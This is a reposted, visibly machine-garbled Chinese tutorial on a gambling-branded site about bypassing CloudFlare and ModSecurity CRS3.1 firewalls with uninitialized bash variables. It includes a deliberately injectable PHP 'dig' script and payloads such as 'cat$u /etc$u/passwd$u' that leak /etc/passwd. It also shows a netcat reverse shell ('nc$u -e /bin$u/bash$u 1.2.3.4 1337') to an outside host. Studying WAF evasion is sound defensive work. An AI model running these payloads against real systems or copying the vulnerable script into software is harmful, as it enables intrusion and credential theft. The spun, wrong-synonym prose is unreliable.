欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_新闻事件正文

Web的应用程序(WAF)防火墙bypass手艺(3)

b9e08c31ae1faa592019-01-1861

本文讨论了怎样运用未初始化的bash变量来绕过基于正则表达式过滤器和形式婚配的WAF,如今让我们看看它怎样在CloudFlare WAF和ModSecurity OWASP CRS3上完成的。



前文回忆



Web应用程序防火墙(WAF)bypass手艺(一)



Web应用程序防火墙(WAF)bypass手艺(二)



未初始化的变量

在本文中,我将展现一种运用未初始化的bash变量的手艺,来绕过基于正则表达式的过滤器和形式婚配。



echo "uninitialized_variable=$uninitialized_variable"

未初始化的变量具有null值(基础没有值)。



uninitialized_variable=

如上所述,声明后但不初始化它与将其设置为空值雷同。



默许状况下,bash会像Perl那样处置惩罚未初始化的变量,把它们当作空字符串,它们能够在参数内运用,以至能够实行与未初始化变量衔接的敕令。让我们从一个例子最先吧。



Web的应用程序(WAF)防火墙bypass手艺(3)  第1张



假定我们要实行敕令cat /etc/passwd,我们能够运用以下语法:cat$u /etc$u/passwd$u



个中$u不存在,并且被bash视为空字符串:



Web的应用程序(WAF)防火墙bypass手艺(3)  第2张



这可用于绕过WAF的划定规矩,让我们运用CloudFlare WAF和ModSecurity OWASP中心划定规矩集3.1举行一些测试。



CloudFlare WAF (专业设置装备摆设)

和前两篇文章一样,我将在一个非常简朴的PHP剧本上测试这类bypass手艺,这个剧本相对轻易遭到影响并且阔别实际场景(我愿望云云)。经由过程这个测试来评价像CloudFlare那样的优质服务是愚昧的。这只是一种在“实在”场景中更好地诠释这类手艺的要领,这其实不意味着 CloudFlare WAF比其他人更平安或更不平安。它只是展现为何须要晓得本身写的代码是怎样易受进击和开辟者能够接纳哪些步伐来修复它或开辟自界说划定规矩(并且,在之前的文章中,我是运用Sucuri举行此类测试…但本文改变了测试目的)。



我所做的是启用一切CloudFlare WAF划定规矩并将平安级别设置装备摆设为高(好像一切都基于OWASP CRS 2 ……)。



简朴的PHP剧本:





<?php
        if(isset($_GET['host'])) {
                system('dig '.$_GET['host']);
        }
?>



这个非常简朴的PHP剧本用dig剖析GET参数上host的给定主机名,比方/?host=www.google.com。



响应是:



Web的应用程序(WAF)防火墙bypass手艺(3)  第3张



明显,仅仅经由过程在主机名背面加一个分号并启动一个新敕令就轻易遭到RCE的进击,比方:/?host=www.google.com;ls+/



Web的应用程序(WAF)防火墙bypass手艺(3)  第4张然则若是我实验经由过程实行cat /etc/passwd来读取/etc/passwd文件呢?让我们实验:/?host=www.google.com;cat+/etc/passwd



Web的应用程序(WAF)防火墙bypass手艺(3)  第5张



我被阻挠了,这很好!如今我能够实验将未初始化的变量安排在/etc/passwd来绕过全部划定规矩集,比方:/?host=www.google.com;cat$u+/etc$u/passwd$u,个中$u是我界说的空字符串。

-------------------------------------

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

-------------------------------------

Web的应用程序(WAF)防火墙bypass手艺(3)  第6张



正如在上面的屏幕截图中看到的,我的要求已经由过程,并且/etc/passwd文件已泄漏。不是很酷吗?┌(◉͜ʖ◉)つ┣▇▇▇═──



CloudFlare有一些特定的划定规矩来防备netcat运用来取得反弹shell。以是,我决议试图绕过CloudFlare WAF划定规矩集取得反弹shell。在这类状况下,我只是将CloudFlare Specials种别一切划定规矩设置为“block”。



Web的应用程序(WAF)防火墙bypass手艺(3)  第7张Web的应用程序(WAF)防火墙bypass手艺(3)  第8张Web的应用程序(WAF)防火墙bypass手艺(3)  第9张起首实验在端口1337上运用参数-e /bin/bash实行netcat到我的IP。



Web的应用程序(WAF)防火墙bypass手艺(3)  第10张



好消息:CloudFlare阻挠了我的要求。如今我想实验实行雷同的敕令,在nc参数/bin/bash以后和以内增加一些未初始化的bash变量,如:



nc$u -e /bin$u/bash$u 1.2.3.4 1337

直接绕过了,取得了shell。



Web的应用程序(WAF)防火墙bypass手艺(3)  第11张



ModSecurity OWASP CRS3.1

运用CRS3.1后一切bypass手艺将变得更难,特别是将防护品级提高到3(CRS3上有4个防护品级,但第四个是完整不可能绕过的),这就是我喜好CRS3的浩瀚缘由之一!



与CloudFlare上发作的状况分歧,在Paranoia Level 3上设置装备摆设CRS3.1,我的第一个测试被划定规矩932100 “Unix敕令注入” 阻挠:



Web的应用程序(WAF)防火墙bypass手艺(3)  第12张



我该怎么做能力绕过这条划定规矩?我晓得;<command>被阻挠了,然则payload;<space><uninitialized var><command>可能会经由过程……以是我想尝尝:



?host=www.google.it;+$u+cat+/etc/passwd



Web的应用程序(WAF)防火墙bypass手艺(3)  第13张太好了!我绕过了划定规矩932100,但由于参数主机中的etc/passwd字符串致使我的要求被阻挠了。我能做的是在etc/passwd途径中增加更多未初始化的变量,如:



?host=www.google.it;+$u+cat+/etc$u/passwd$u



Web的应用程序(WAF)防火墙bypass手艺(3)  第14张



与我对CloudFlare WAF的测试分歧,运用具有防护品级3的CRS3.1绕过它更难,并且在PHP剧本中经由过程$_GET['host']包罗双引号后要绕过的话则变得非常不可能。不外照样试一试吧:





<?php
        if(isset($_GET['host'])) {
                system('dig "'.$_GET['host'].'"');
        }
?>

如今,为了注入敕令,分号是不敷的……我须要处置惩罚双引号并解释掉末了的双引号。比方:



/?host=www.google.it";cat+/etc/passwd+#

我晓得你在想甚么:“如今有双引号,分号,包罗变量的RCE有用payload和解释字符,CloudFlare会阻挠它”……但是事实是并未阻挠。



Web的应用程序(WAF)防火墙bypass手艺(3)  第15张



与CloudFlare分歧,在OWASP CRS3上,由于两条划定规矩,我没法绕过防护品级3的划定规矩集:



* 942460 元字符非常检测警报 – 反复非字字符:由于“,;,/和$字符,它阻挠了我的要求。



* 942260 检测到数目到达2/3的基础SQL身份验证绕过:我被此划定规矩阻挠了才实验运用较少的特别字符。



将防护程度降低到2,就很有用:/?host=www.google.it“;+$u+cat+/etc$u/passwd+\#



结论

为何阻挠这类要求云云难题?为何WAF一般不会阻挠参数值中的美圆字符?由于它会轻易涌现很多误报。恕我直言,最好的要领是CRS3运用的要领,只要在单个值中找到4个或更多反复的非单词字符时才会阻挠,这比阻挠特定字符更智慧,误报率更低。

网友评论